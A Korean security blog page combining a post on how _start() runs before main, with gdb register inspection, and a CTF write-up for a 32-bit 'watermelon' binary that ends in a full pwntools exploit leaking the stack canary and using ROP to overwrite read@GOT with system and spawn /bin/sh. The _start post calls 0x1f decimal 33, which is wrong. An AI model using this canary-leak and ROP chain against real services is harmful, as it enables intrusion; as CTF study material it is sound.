http://blog.tunz.kr/119

'HACKING > System hacking' 카테고리의 다른 글

파일 디스크립터  (0) 2018.08.04
리버스 쉘(nc via mkfifo)  (0) 2018.07.28
_start() 함수  (0) 2018.07.27
nc -e 옵션 사용이 안될때  (0) 2018.07.19
gdb-peda 기능들  (0) 2018.07.08

일반적으로 프로그램이 시작하면 맨 처음 main함수가 실행 된다고 알고 있는데.. 메인함수를 실행 시키기 위한 환경을 만들어 주는 과정이 있다.

 

이 과정에서 먼저 실행되는 함수가 있는데 _start()함수다.

메인함수도 이 _start()함수가 실행된 후에 실행되므로 main보다 먼저 실행이 된다.

 

우선 코드를 컴파일해서 확인해보자.

 

test1.c

#include<stdio.h>
#include<stdlib.h>
_start()
{
   exit(my_main());
}
int my_main()
{
   printf("Hello");
   return 0;
}

gcc  -nostartfiles  test1.c 

 

main함수 없이 코드를 작성했고 위와 같이 컴파일 한 후 실행시켜 봤다.

이처럼 메인함수 없이도 내 임의의 main을 실행 시킬 수 있다.

 

이제 gdb로 이 _start()함수를 확인해보자.

 

코드를 짠대로 _start()함수에서 my_main()을 콜한다.

 

만약 실제 main()함수를 실행할 때는 어떻게 동작하는지 이번엔 main()함수가 있는 코드를 작성해서 컴파일해봤다.

#include <stdio.h>

int main()
{
        printf("Hello");
        return 0;
}

 

먼저 이 코드를 컴파일을 해주고 gdb로 열었다.

_start()함수의 주소를 찾았다. 이제 여기서 main()을 call하는 부분을 확인해야한다.

 

해당 주소에 bp를 걸고 레지스터들을 확인해야 한다.

 

레지스터를 보면 64비트에선 rdi, rsi가 함수의 첫번째와 두번째 인자로 들어가는데 여기서 rdi와 rsi는 각각 main()함수 시작주소와 해당 함수의 첫번 째 인자를 넣는 것이다.

즉 call할때 첫번째 인자에는 실행시킬 함수를 주고, 두번째 인자에는 해당 함수에 들어갈 인자 값을 넣는 것이다.

 

이번에는 다시 main()함수가 없는 test1.c의 my_main()을 하는 부분에 bp를 걸고 다시 확인해보자.

이번에는 my_main()함수를 직접 호출하기 때문에 rdi에는 어떤 0을 가리키는 값이 들어갔고 rsi에는 또 1이 들어갔다.

정확히 확인해보기 위해 이번에는 my_main()함수에 인자를 추가해야겠다.

 

#include<stdio.h>
#include<stdlib.h>
_start()
{
   exit(my_main(31));
}
int my_main(int i)
{
   printf("Hello");
   return 0;
}

 

이번에도 똑같이 컴파일한 후 gdb로 확인해봤다.

이번에는 rdi에 my_main()의 첫번째 인자엔 십진수로 33인 0x1f가 들어가 있다.

이제 대충 _start()함수의 원리를 아주 조금 안 것 같다.

다음엔 직접 libc의 소스를 보면서 파악을 해봐야 겠다.

===========================================================================

start In Kernel

- start_kernel 함수

 

ref.http://egloos.zum.com/studyfoss/v/5283161

ref.https://stackoverflow.com/questions/5764298/how-to-compile-c-source-code-without-a-main-function

ref.https://tistory.0wn.kr/368

'HACKING > System hacking' 카테고리의 다른 글

리버스 쉘(nc via mkfifo)  (0) 2018.07.28
python의 pickle 모듈 취약점  (0) 2018.07.28
nc -e 옵션 사용이 안될때  (0) 2018.07.19
gdb-peda 기능들  (0) 2018.07.08
Shell Escaping tips  (0) 2018.06.23

watermelon


먼저 이 바이너리는 32비트 리눅스용 바이너리다.


그리고 보호기법을 보니 카나리와 nx가 설정되어있다. rop로 접근하면 될 것 같다.

바이너리를 실행하면 위 처럼 먼저 name을 입력하고 메뉴를 선택한다.

이 메뉴들에 대해선 ida로 먼저 살펴봤다.


헥스레이로 main()함수를 보면 알 수 있다.

우선 v1변수에 4400바이트를 memset한다.

그리고 name으로 입력한 값은 bss영역인 0x804D7A0에 값이 들어간다. (익스플로잇 할 때 /bin/sh을 여기에 넣을 수 있겠다.)


그리고 보면 case문을 통해 메뉴를 이동할 수 있다.

먼저 4294967295는 0xffffffff다. 즉 -1이다.
-1은 메뉴로 출력되지는 않았지만 기능을 하나보다.
각각 1,2,3,4는 v1변수를 인자로 함수를 실행시킨다.

sub_80497FA()함수는 위와 같이 메뉴를 출력해주고 입력을 받는 함수다. 


우선 1번 메뉴부터 보면 


음악리스트를 추가하는 함수다.

dword_804CB88가 100이면 리스트가 꽉 찼다고 출력하고 리턴한다.

그 외엔 새로운 리스트를 추가할 수 있도록 진행된다.

근데 여기서 read()함수가 있는데.. 21바이트를 read를 하면서 1바이트의 오버플로우가 발생한다. 왜냐면 (44 * dword_804CB88 + a1 + 4)는 구조체라서 그렇다.

num[4] | music[20] | artist[20] 이렇게 되어있다. 즉 한 구조체는 44바이트를 가지고 있다.

그리고 두 번 read하는 것은 music과 artist를 받기 때문인데 둘 다 20바이트의 공간을 가지고 있으나 21바이트를 받게되면 오버플로우가 발생한다. 하지만 이걸로는 ret를 덮을 수 없다.

이 부분은 이후에 카나리를 릭할 때 필요하게 된다.


그리고 2번 메뉴는 단순히 저장된 음악 리스트를 출력해주는 함수다.


그리고 3번 메뉴를 보자.

이 메뉴는 이미 생성된 음악 리스트를 수정하는 함수다.

여기서 두번째 read()를 보면 200바이트나 수정을 한다. 즉 오버플로우를 일으킬 수 있다는 것이다.


시나리오는 먼저 1번 메뉴를 생성해 구조체의 최대 개수인 100개를 생성한 후 main()의 카나리를 릭 하고, 3번 메뉴를 실행시켜서 100번째 구조체의 artist를 수정할 때 canary부터 ret까지 덮어서 rop를 할 것이다.


우선 카나리를 구할 때 첫바이트가 널일 경우는 read에 21바이트를 입력하면 카나리가 출력이 된다.




exploit code
from pwn import *

p = process("./watermelon")
elf = ELF("./watermelon")

name = 0x804D7A0
write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
pppr = 0x8048f0d
system_offset = 0x9ad60 #read - system

log.info("binary is executing...")
p.recv()
p.sendline("/bin/sh\x00")
p.recv()

log.info("looping..")
for i in range(0, 100):
	p.sendline("1")
	p.recvuntil("music")
	p.recv()
	p.sendline("A")
	p.recv()
	p.sendline("B")
	sleep(0.2)
	p.recv()
log.info("playlist is FULL!")

p.sendline("3")
p.recvuntil("100")
p.recv()
p.sendline("100")
p.recv() 
p.sendline("GGGG") # modify music
p.recv()
p.sendline("T"*20) # leak canary
p.recv()
p.sendline("2")
p.recvuntil("T"*20)
canary = u32("\x00" + p.recv().split("\x0a")[1][0:3])
log.info("leaked CANARY = {}".format(hex(canary)))

payload = "A"*20
payload += p32(canary)
payload += "A"*12

payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += "JUNK"
payload += p32(name)

log.info("Exploit..")
p.sendline("3")
p.recv()
p.recv()
log.info("sending 100")
p.recv()
p.sendline("100")
p.recv()
p.sendline("AAAA")
p.recv()
p.sendline(payload)
p.recv()
p.sendline("4")
p.recvuntil("BYE BYE\n\n")

libc_read = u32(p.recv())
log.info("libc read = {}".format(hex(libc_read)))
libc_system = libc_read - system_offset
log.info("libc system = {}".format(hex(libc_system)))

p.sendline(p32(libc_system))
p.interactive()


'CTF' 카테고리의 다른 글

EasyCTF2017 Simple ROP  (0) 2018.08.01
Def-camp warmheap  (0) 2018.07.31
CodeGate2014 nuclear  (0) 2018.07.22
CodeGate 2014 angry_doraemon  (0) 2018.07.20
CodeGate 2017 babypwn  (1) 2018.07.18

+ Recent posts